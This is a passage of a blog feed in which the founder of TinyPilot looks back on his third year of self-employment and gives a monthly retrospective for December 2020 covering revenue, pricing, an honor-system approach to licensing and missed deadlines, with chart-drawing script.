 src="https://mtlynch.io/bootstrapped-founder-year-3/first-9.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The first nine TinyPilot orders I packed&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Fortunately, initial customers loved their TinyPilots, so I finally exhaled. But every few weeks, something new would pop up and worry me for days. The post office lost a shipment of critical parts. A positive review drove a surge of orders and exhausted my inventory. I messed up a customs form and braced myself for imprisonment in export jail.&lt;/p>
&lt;p>Realistically, the pressure I feel is all self-imposed. If I&amp;rsquo;m out of stock for a few days, who cares? When my poor planning delays an order, I feel anxious about disappointing the customer, but nobody&amp;rsquo;s ever complained. In fact, when I apologize that a shipment will be late, customers only ever reply to say they&amp;rsquo;re impressed I took the time to let them know.&lt;/p>
&lt;p>I&amp;rsquo;ve been getting better at easing the pressure on myself and separating work from my personal life, but it&amp;rsquo;s an ongoing process.&lt;/p>
&lt;h2 id="grading-last-years-goals">Grading last year&amp;rsquo;s goals&lt;/h2>
&lt;p>At the start of last year, I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/#goals-for-year-three">set three high-level goals&lt;/a>.&lt;/p>
&lt;h3 id="earn-20k-in-revenue-across-my-businesses">Earn $20k in revenue across my businesses&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Earned $63k in revenue&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A+&lt;/li>
&lt;/ul>
&lt;p>It looked bleak at the beginning, but I far exceeded my goal. Considering my 2019 revenue was only $7.2k, an increase of almost 9x feels like a major accomplishment.&lt;/p>
&lt;h3 id="publish-10-blog-posts">Publish 10 blog posts&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published nine blog posts&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A-&lt;/li>
&lt;/ul>
&lt;p>I was on track to publish 10 posts, but I sacrificed my tenth in order to create &lt;a href="https://hitthefrontpage.com">my writing course&lt;/a>. Nevertheless, I&amp;rsquo;m pleased with the results of my blogging this year. I wrote several articles I feel proud of, and they connected with appreciative audiences.&lt;/p>
&lt;h3 id="learn-one-new-technology">Learn one new technology&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Learned more JavaScript&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I was hoping to find an excuse to learn Rust, but I never found a good match.&lt;/p>
&lt;p>Instead, I gained breadth and depth in JavaScript. I already knew &lt;a href="https://vuejs.org/">Vue&lt;/a>, but this year, I learned &lt;a href="https://gridsome.org/">Gridsome&lt;/a>, a Vue-based static site generator. I used it to build &lt;a href="https://tinypilotkvm.com/">my TinyPilot sales site&lt;/a> and to &lt;a href="https://weeks.mtlynch.io/2020-04-17">rewrite Is It Keto&lt;/a>.&lt;/p>
&lt;p>I also learned to use plain JavaScript more effectively. TinyPilot&amp;rsquo;s web app &lt;a href="https://github.com/tiny-pilot/tinypilot/tree/bf07bfe72941457cf068ca0a44c6b0d62dd9ef05/app/static/js">is pure JavaScript&lt;/a> with no build or compilation steps. It&amp;rsquo;s astonishing how much complexity you save by eschewing modern JavaScript frameworks.&lt;/p>
&lt;h2 id="goals-for-year-four">Goals for year four&lt;/h2>
&lt;h3 id="grow-tinypilot-to-600k-in-annual-revenue">Grow TinyPilot to $600k in annual revenue&lt;/h3>
&lt;p>Okay, as crazy as it sounds to go from a goal of $20k/year to $600k/year, I think this is achievable.&lt;/p>
&lt;p>TinyPilot earned $43k in January 2021, so it could reach $600k for the year by averaging 3% growth each month.&lt;/p>
&lt;h3 id="publish-six-blog-posts-and-one-book">Publish six blog posts and one book&lt;/h3>
&lt;p>Ever since I began working for myself, I&amp;rsquo;ve distantly fantasized about self-publishing a book. This year, I&amp;rsquo;m finally doing it.&lt;/p>
&lt;p>The book will teach software engineers practical ways to improve their writing. The tentative title is &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;h3 id="automate-tinypilot-management">Automate TinyPilot management&lt;/h3>
&lt;p>My girlfriend works with me part-time on TinyPilot, managing inventory and packing orders. We enjoy working together, but it&amp;rsquo;s a fragile system that scales poorly. If either of is unavailable for a few days, we quickly accumulate a massive backlog.&lt;/p>
&lt;p>I&amp;rsquo;d like to systematize and outsource enough of our processes that we can take a two-week vacation without everything grinding to a halt.&lt;/p>
&lt;h2 id="closing-thoughts">Closing thoughts&lt;/h2>
&lt;p>Before I quit my job, I constantly read books and listened to podcasts about startups. The part that intrigued me most was the boundlessness of possibility.&lt;/p>
&lt;p>When you run your own business, you can do &lt;em>anything&lt;/em>. With a month of available time and $10k of capital, there are millions of ways to grow your business. You can add a new feature, try a new marketing strategy, or hire a new salesperson. You can make up a totally new technique that nobody in your industry has ever seen before.&lt;/p>
&lt;p>Throughout my career, I was always on some predefined career ladder. To progress, I had to prove that I met arbitrary criteria that bore only a faint resemblance to my day-to-day work. If my manager asked me to add a new feature, I couldn&amp;rsquo;t say, &amp;ldquo;No, I think we need a better marketing strategy, so I&amp;rsquo;m going to do that instead.&amp;rdquo; But with my own business, I say stuff like that all the time! (Though now, the manager and the employee are both me.)&lt;/p>
&lt;p>As I finally see financial success with one of my businesses, there&amp;rsquo;s more revenue, which means more possibilities. It&amp;rsquo;s just as fun as I hoped. Stressful, but fun.&lt;/p>
&lt;p>Once again, I feel incredibly fortunate to be working for myself, and I hope to continue doing it forever.&lt;/p>
&lt;blockquote class="twitter-tweet" data-dnt="true">&lt;p lang="en" dir="ltr">Today is the third anniversary of quitting my job at Google to build my own software business. This was my highest earning year yet, earning $63k in revenue (7x higher than 2019).&lt;br>&lt;br>My post shares lessons and full financial details from each of my projects &lt;a href="https://t.co/29ay7xcNlx">https://t.co/29ay7xcNlx&lt;/a>&lt;/p>&amp;mdash; Michael Lynch (@deliberatecoder) &lt;a href="https://x.com/deliberatecoder/status/1356256679231434753?ref_src=twsrc%5Etfw">February 1, 2021&lt;/a>&lt;/blockquote>
&lt;script async src="https://platform.x.com/widgets.js" charset="utf-8">&lt;/script>


&lt;h2>All annual reviews&lt;/h2>
&lt;ul>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">My First Year as a Solo Developer&lt;/a>- Feb. 1, 2019
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">My Second Year as a Solo Developer&lt;/a>- Jan. 31, 2020
 &lt;/li>&lt;li>My Third Year as a Solo Developer- Feb. 1, 2021
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">My Fourth Year as a Bootstrapped Founder&lt;/a>- Feb. 1, 2022
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/">My Fifth Year as a Bootstrapped Founder&lt;/a>- Feb. 10, 2023
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/">My Sixth Year as a Bootstrapped Founder&lt;/a>- Feb. 16, 2024
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/">My Seventh Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2025
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-8/">My Eighth Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2026
 &lt;/li>&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Cover image by Loraine Yow. Thanks to &lt;a href="https://monicalent.com/">Monica Lent&lt;/a> and the &lt;a href="https://bloggingfordevs.com/">Blogging for Devs community&lt;/a> for providing early feedback for this post.&lt;/em>&lt;/p>
&lt;script src="https://mtlynch.io/third-party/chart.js/2.9.4/Chart.min.js">&lt;/script>
&lt;script>
const dollarFormatter = new Intl.NumberFormat('en-US', {
 style: 'currency',
 currency: 'USD',
 minimumFractionDigits: 0,
 maximumFractionDigits: 0,
});
function drawChart(chartId, labels, data) {
 const ctx = document.getElementById(chartId);
 if (!ctx) {
 return;
 }
 ctx.height = 300;
 const myChart = new Chart(ctx, {
 type: 'line',
 data: {
 labels: labels,
 datasets: [{
 label: 'Total Revenue',
 data: data,
 backgroundColor: '#047a15',
 borderColor: '#4ba658',
 fill: false,
 lineTension: 0.0,
 }]
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 tooltips: {
 callbacks: {
 label: function(tooltipItems) {
 return dollarFormatter.format(parseFloat(tooltipItems.yLabel));
 },
 },
 },
 scales: {
 yAxes: [{
 ticks: {
 suggestedMin: 0,
 callback: function(value) {
 return dollarFormatter.format(value);
 }
 }
 }]
 }
 },
 });
}
// Parse a date string like "2020-05" into a JavaScript Date object.
function parseDate(d) {
 const dateParts = d.split('-');
 const year = parseInt(dateParts[0]);
 const month = parseInt(dateParts[1]) - 1;
 return new Date(year, month);
}
function drawCharts(limit) {
 fetch('/data/project-revenue.json')
 .then(res => res.json())
 .then(revenueByProject => {
 const limitDate = parseDate(limit);
 for ([project, data] of Object.entries(revenueByProject)) {
 let dates = [];
 for (d of Object.keys(data)) {
 const date = parseDate(d);
 if (date >= limitDate) {
 continue;
 }
 dates.push(date.toLocaleString('default', { month: 'long' }) + ' ' + date.getFullYear());
 }
 let values = Object.values(data).slice(0, dates.length);
 drawChart(project + '-revenue', dates, values);
 }
 });
}
function drawOverallChart() {
 const ctx = document.getElementById("overall-finances");
 if (!ctx) {
 return;
 }
 ctx.height = 500;
 const myChart = new Chart(ctx, {
 type: 'bar',
 data: {
 datasets: [
 {
 label: 'Net Profit',
 data: [-20871, -2402, -3964],
 type: 'line',
 backgroundColor: 'black',
 borderColor: 'black',
 pointBorderColor: 'black',
 pointBackgroundColor: 'black',
 fill: false,
 },
 {
 label: 'Expenses',
 data: [-23133, -9657, -67441],
 backgroundColor: 'red'
 },
 {
 label: 'Revenue',
 data: [2262, 7254, 63477],
 backgroundColor: '#047a15'
 }
 ],
 labels: ['2018', '2019', '2020']
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 tooltips: {
 callbacks: {
 label: function(tooltipItems) {
 return dollarFormatter.format(parseFloat(tooltipItems.yLabel));
 },
 },
 },
 scales: {
 yAxes: [{
 ticks: {
 suggestedMin: 0,
 callback: function(value) {
 return dollarFormatter.format(value);
 }
 }
 }]
 }
 },
 });
}
drawOverallChart();
drawCharts("2021-01");
&lt;/script></content:encoded></item><item><title>TinyPilot: Month 6</title><link>https://mtlynch.io/retrospectives/2021/01/</link><pubDate>Tue, 05 Jan 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2021/01/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> had another record-breaking month, with $15k in revenue.&lt;/li>
&lt;li>I sold $1.1k in pre-orders for my first ever &lt;a href="https://hitthefrontpage.com/">video course&lt;/a>.&lt;/li>
&lt;li>My attempt to slow down sales ended up doing the opposite.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="release-the-first-version-of-tinypilot-pro">Release the first version of &lt;a href="https://tinypilotkvm.com/product/tinypilot-pro">TinyPilot Pro&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Released a beta version of TinyPilot Pro&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I thought the hard part of releasing TinyPilot Pro would be creating a separate distribution channel for paying customers. The v1 features for Pro seemed easy, but they turned out to be harder than I expected.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> had another record-breaking month, with $15k in revenue.&lt;/li>
&lt;li>I sold $1.1k in pre-orders for my first ever &lt;a href="https://hitthefrontpage.com/">video course&lt;/a>.&lt;/li>
&lt;li>My attempt to slow down sales ended up doing the opposite.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="release-the-first-version-of-tinypilot-pro">Release the first version of &lt;a href="https://tinypilotkvm.com/product/tinypilot-pro">TinyPilot Pro&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Released a beta version of TinyPilot Pro&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I thought the hard part of releasing TinyPilot Pro would be creating a separate distribution channel for paying customers. The v1 features for Pro seemed easy, but they turned out to be harder than I expected.&lt;/p>
&lt;p>I would have released the official version of TinyPilot Pro, except I realized a few days before release that nobody had beta tested it except me. I reached out to a few users to see if they wanted early access, but it was over the holidays, so there wasn&amp;rsquo;t much progress. Instead, I published it as a &amp;ldquo;beta&amp;rdquo; and offered it for a 50% discount.&lt;/p>
&lt;h3 id="receive-tinypilot-reviews-from-two-bloggers-or-youtubers-with-a-relevant-audience">Receive TinyPilot reviews from two bloggers or YouTubers with a relevant audience&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Two YouTubers have agreed to review TinyPilot, but they haven&amp;rsquo;t published yet.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>TinyPilot Pro messed up my plans here. I&amp;rsquo;d been in conversation with a large YouTube channel interested in reviewing TinyPilot. But then they emailed me asking, &amp;ldquo;Hey, what&amp;rsquo;s this &lt;em>TinyPilot Pro&lt;/em> thing your website says you&amp;rsquo;re about to release?&amp;rdquo;&lt;/p>
&lt;p>They didn&amp;rsquo;t want to record a review that would become obsolete a week later. So, now they&amp;rsquo;re planning to do their review once TinyPilot Pro supports the next feature on my roadmap: remote drive mounting.&lt;/p>
&lt;p>Another YouTuber agreed to review it but never followed up after I sent their free device, so hopefully, they&amp;rsquo;re just backlogged.&lt;/p>
&lt;h3 id="record-five-out-of-seven-parts-to-my-hacker-news-course">Record five out of seven parts to my &lt;a href="https://hitthefrontpage.com/">Hacker News course&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Recorded five parts and published them to pre-order customers&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I got this in just under the wire, sending out the last video at 5 PM on New Year&amp;rsquo;s Eve, but I made it! Customers who pre-ordered now have early access to the first five videos.&lt;/p>
&lt;h2 id="stats">Stats&lt;/h2>
&lt;h3 id="tinypilot">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>November 2020&lt;/th>
 &lt;th>December 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>3,118&lt;/td>
 &lt;td>3,486&lt;/td>
 &lt;td>&lt;font color="green">+368 (+12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>9,021&lt;/td>
 &lt;td>5,785&lt;/td>
 &lt;td>&lt;font color="red">-3,236 (-36%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$12,313.25&lt;/td>
 &lt;td>$15,358.31&lt;/td>
 &lt;td>&lt;font color="green">+$3,045.06 (+25%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Donations&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$9.00&lt;/td>
 &lt;td>&lt;font color="green">+$9.00 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$12,313.25&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$15,367.05&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$3,053.80 (+25%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>TinyPilot had another strong month, growing by 25% in revenue. It&amp;rsquo;s crazy to think that &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/#goals-for-year-three">my goal for 2020&lt;/a> was to make $20k in revenue for the &lt;em>year&lt;/em>, and I&amp;rsquo;m earning that almost every month now.&lt;/p>
&lt;p>Despite the growth, I still feel like I&amp;rsquo;m fumbling on TinyPilot. I did no marketing in December aside from failed attempts to get reviews from YouTubers. Even development work slowed because of how little bandwidth I had. I&amp;rsquo;ve decided that revenues are strong enough that I can afford to bring on a part-time developer, and I&amp;rsquo;ve already begun the search process.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com/">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2020&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>2,243&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Orders&lt;/td>
 &lt;td>30&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$1,181.40&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>December was my first month selling pre-orders for my blogging course, &lt;em>Hit the Front Page of Hacker News&lt;/em>.&lt;/p>
&lt;p>I had a small panic on the first day of sales because I sold only two pre-orders for a grand total of $160. That didn&amp;rsquo;t bode well. Fortunately, there&amp;rsquo;s been a small but consistent stream of customers that I broke $1k in sales for December.&lt;/p>
&lt;p>One of the best ways I&amp;rsquo;ve found for reaching new customers is to &lt;a href="https://twitter.com/deliberatecoder/status/1337513280064135169">share behind-the-scenes updates on Twitter&lt;/a>, but I&amp;rsquo;ve been so swamped that I&amp;rsquo;ve had trouble finding time to post updates.&lt;/p>
&lt;h2 id="i-generated-record-sales-by-accident">I generated record sales by accident&lt;/h2>
&lt;p>In the first few months of TinyPilot, I struggled to keep up with inventory and often had to &lt;a href="https://mtlynch.io/retrospectives/2020/10/#inventory-shortages-and-the-thundering-herd-problem">forfeit sales by listing all of my products as backordered&lt;/a>. I&amp;rsquo;ve thankfully managed to avoid going into backorder for two months, but that streak ended in December.&lt;/p>
&lt;p>A shipment of HDMI capture chips was running late, and I needed them to build more &lt;a href="https://tinypilotkvm.com/product/tinypilot-voyager">Voyagers&lt;/a>, my high-end TinyPilots.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/01/voyager-connected.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/01/voyager-connected_hu_e396204d1d005a4d.jpg 300w, https://mtlynch.io/retrospectives/2021/01/voyager-connected_hu_5486886c39433f37.jpg 600w, https://mtlynch.io/retrospectives/2021/01/voyager-connected.jpg 600w'
 src="https://mtlynch.io/retrospectives/2021/01/voyager-connected.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>To build more &lt;a href="https://tinypilotkvm.com/product/tinypilot-voyager">TinyPilot Voyagers&lt;/a>, I needed a delivery of HDMI capture chips that was stuck in transit from China.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It was Monday, and the chips were supposed to arrive that Saturday. I had six Voyagers left. I generally sell about one every day or two, so I thought I might skate by. Then two customers purchased that day.&lt;/p>
&lt;p>I was down to four. Okay, I still might make it&amp;hellip;&lt;/p>
&lt;p>On Tuesday, two more customers purchased Voyagers. I&amp;rsquo;ve never been so frustrated to make sales of my highest-margin product.&lt;/p>
&lt;p>With only two remaining Voyagers in stock, I tried to slow down sales. I increased the price of Voyager from $249 to $299. Two hours later, I received an email from a customer saying he wanted to purchase seven!&lt;/p>
&lt;p>I explained the inventory situation, and he said that he was fine with me shipping two immediately and waiting a few days for the remaining five. Thankfully, the chips arrived the following week, and the customer received all seven on time. So that was a $2,093 sale from a single customer, bumping my overall sales for that day to TinyPilot&amp;rsquo;s all-time high of $3,298.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 365px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/01/price-increase.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 365px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/01/price-increase_hu_122ce36d70634d11.png 300w, https://mtlynch.io/retrospectives/2021/01/price-increase.png 363w'
 src="https://mtlynch.io/retrospectives/2021/01/price-increase.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I made a record $3,298 in sales in one day after bumping the price of the Voyager by $50.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="enforcing-software-licenses-via-the-honor-system">Enforcing software licenses via the honor system&lt;/h2>
&lt;p>I had been postponing work on TinyPilot Pro for months. It was largely because the first step in the process was so boring: distribution.&lt;/p>
&lt;p>It&amp;rsquo;s easy to distribute the free version of TinyPilot because the software is all &lt;a href="https://github.com/tiny-pilot/tinypilot">open-source&lt;/a>. I publish an install script that works the same for customers and non-customers alike.&lt;/p>
&lt;p>TinyPilot Pro would be more complicated. If I published the source, customers might think, &amp;ldquo;Why would I pay for this when I can just find it online for free?&amp;rdquo; I needed some way to limit access to paying customers.&lt;/p>
&lt;p>I started designing a licensing system. It didn&amp;rsquo;t sound so hard. Generate a hash or something based on the customer&amp;rsquo;s device ID, and check that it matches on the server. Oh, but what about license expiration? Okay, so I&amp;rsquo;ll keep a database of licenses with their expiration dates. But what if I lose that database? Hmm&amp;hellip;&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/01/license-key-spec.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/01/license-key-spec_hu_d6b7b53f8b4042fe.png 300w, https://mtlynch.io/retrospectives/2021/01/license-key-spec_hu_be2e2884cc8b8eec.png 600w, https://mtlynch.io/retrospectives/2021/01/license-key-spec.png 763w'
 src="https://mtlynch.io/retrospectives/2021/01/license-key-spec.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I got about 60% through designing a license key server for TinyPilot before deciding that I was overengineering a solution.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It felt like overengineering. I looked into Shopify plugins that provide digital licenses, but they all seemed low-quality and didn&amp;rsquo;t offer the functionality I needed. It would take longer to integrate with those solutions than to roll my own.&lt;/p>
&lt;p>Then, I had a realization: what if I skip license enforcement entirely?&lt;/p>
&lt;p>I was reminded of my friend &lt;a href="https://coryzue.com">Cory Zue&lt;/a>&amp;rsquo;s experience selling his Django starter template, &lt;a href="https://www.saaspegasus.com/">Pegasus&lt;/a>. Customers are allowed to build one website with Pegasus, but Cory has no way of enforcing that. Once the customer downloads the Pegasus source code, they have everything they need to reuse it on hundreds of sites.&lt;/p>
&lt;p>A few months into selling Pegasus, Cory was relieved to see his customers re-purchasing Pegasus for new sites. From a technical perspective, they were paying for the same code they&amp;rsquo;d bought before. But the customers were abiding honestly by the Pegasus license and compensating Cory for his product.&lt;/p>
&lt;p>Cory realized he could offer a better solution: an unlimited license. Customers regularly purchase the unlimited option even though an unscrupulous customer could cheat Cory by paying the single-site price and reusing the code.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/01/pegasus-unlimited.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/01/pegasus-unlimited_hu_f729da429f67612c.png 300w, https://mtlynch.io/retrospectives/2021/01/pegasus-unlimited_hu_899bdf0a7d9d2496.png 600w, https://mtlynch.io/retrospectives/2021/01/pegasus-unlimited_hu_b483dc9fe69517c8.png 800w, https://mtlynch.io/retrospectives/2021/01/pegasus-unlimited.png 1013w'
 src="https://mtlynch.io/retrospectives/2021/01/pegasus-unlimited.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Customers purchase the &lt;a href="https://www.saaspegasus.com/">unlimited license&lt;/a> from Cory even though they could cheat by re-using the single-site option.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>If the honor system worked well enough for Cory, it would probably work well enough for me. I shelved my plans for a licensing server and just put TinyPilot Pro at an undiscoverable URL.&lt;/p>
&lt;p>A dishonest customer could take advantage by re-using the license on multiple devices or sharing the URLs with non-paying users, but the risk and impact of both are low. It&amp;rsquo;s been less than a week since I started selling TinyPilot Pro, and one of my customers has already purchased four separate licenses.&lt;/p>
&lt;h2 id="i-gave-myself-too-many-deadlines">I gave myself too many deadlines&lt;/h2>
&lt;p>I definitely over-committed in December.&lt;/p>
&lt;p>I generally avoid promising customers a product by a certain deadline. TinyPilot is still so young, and things change quickly. At the same time, I was growing increasingly embarrassed about my promises to release TinyPilot Pro &amp;ldquo;soon&amp;rdquo; for the last six months, despite the fact that I had made zero progress. Finally, I started telling customers that I&amp;rsquo;d release the first version by end of the year.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/01/tp-pro-listing.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/01/tp-pro-listing_hu_b3ce5239a0f38652.png 300w, https://mtlynch.io/retrospectives/2021/01/tp-pro-listing_hu_8d53312928e91f8.png 600w, https://mtlynch.io/retrospectives/2021/01/tp-pro-listing.png 753w'
 src="https://mtlynch.io/retrospectives/2021/01/tp-pro-listing.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I released &lt;a href="https://tinypilotkvm.com/product/tinypilot-pro">TinyPilot Pro&lt;/a> in beta for customers anxious to use the new premium features.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>At the same time, I started working on &lt;a href="https://hitthefrontpage.com/">my first-ever video course&lt;/a>. I estimated that it would take ~40 hours to write, record, edit, and publish. That&amp;rsquo;s roughly how long it takes me to write a new blog post, so I figured I&amp;rsquo;d just do that instead of my next blog post. I picked a release date of January 13th, which seemed like an incredibly relaxed schedule to produce a couple hours of video.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/01/htfp-still.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/01/htfp-still_hu_b81aba5f3cf42a89.jpg 300w, https://mtlynch.io/retrospectives/2021/01/htfp-still_hu_ab40d2ea862d3838.jpg 600w, https://mtlynch.io/retrospectives/2021/01/htfp-still_hu_dc0dd4f5faa1f360.jpg 800w, https://mtlynch.io/retrospectives/2021/01/htfp-still_hu_afb66a0ecc9d16a2.jpg 1200w, https://mtlynch.io/retrospectives/2021/01/htfp-still.jpg 1368w'
 src="https://mtlynch.io/retrospectives/2021/01/htfp-still.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A still from my blogging course, &lt;a href="https://hitthefrontpage.com/">&lt;em>Hit the Front Page of Hacker News&lt;/em>&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I &lt;em>vastly&lt;/em> underestimated the work required to complete the course. It&amp;rsquo;s probably going to take 150-200 hours to create this course, and it&amp;rsquo;s been draining tons of time from TinyPilot.&lt;/p>
&lt;p>And if that wasn&amp;rsquo;t enough, I have a tradition of publishing a &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">yearly&lt;/a> &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">retrospective&lt;/a> on February 1st, the anniversary of when I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit Google to work for myself&lt;/a>. I want to keep up that tradition, as it always draws a big response. But that means I need the blog post ready by February 1st.&lt;/p>
&lt;p>So, in a one-month timespan, I gave myself four aggressive deadlines without realizing it. I&amp;rsquo;m definitely going to be more conservative about publicly declaring deadlines in the future.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>November 2020&lt;/th>
 &lt;th>December 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>43,911&lt;/td>
 &lt;td>49,373&lt;/td>
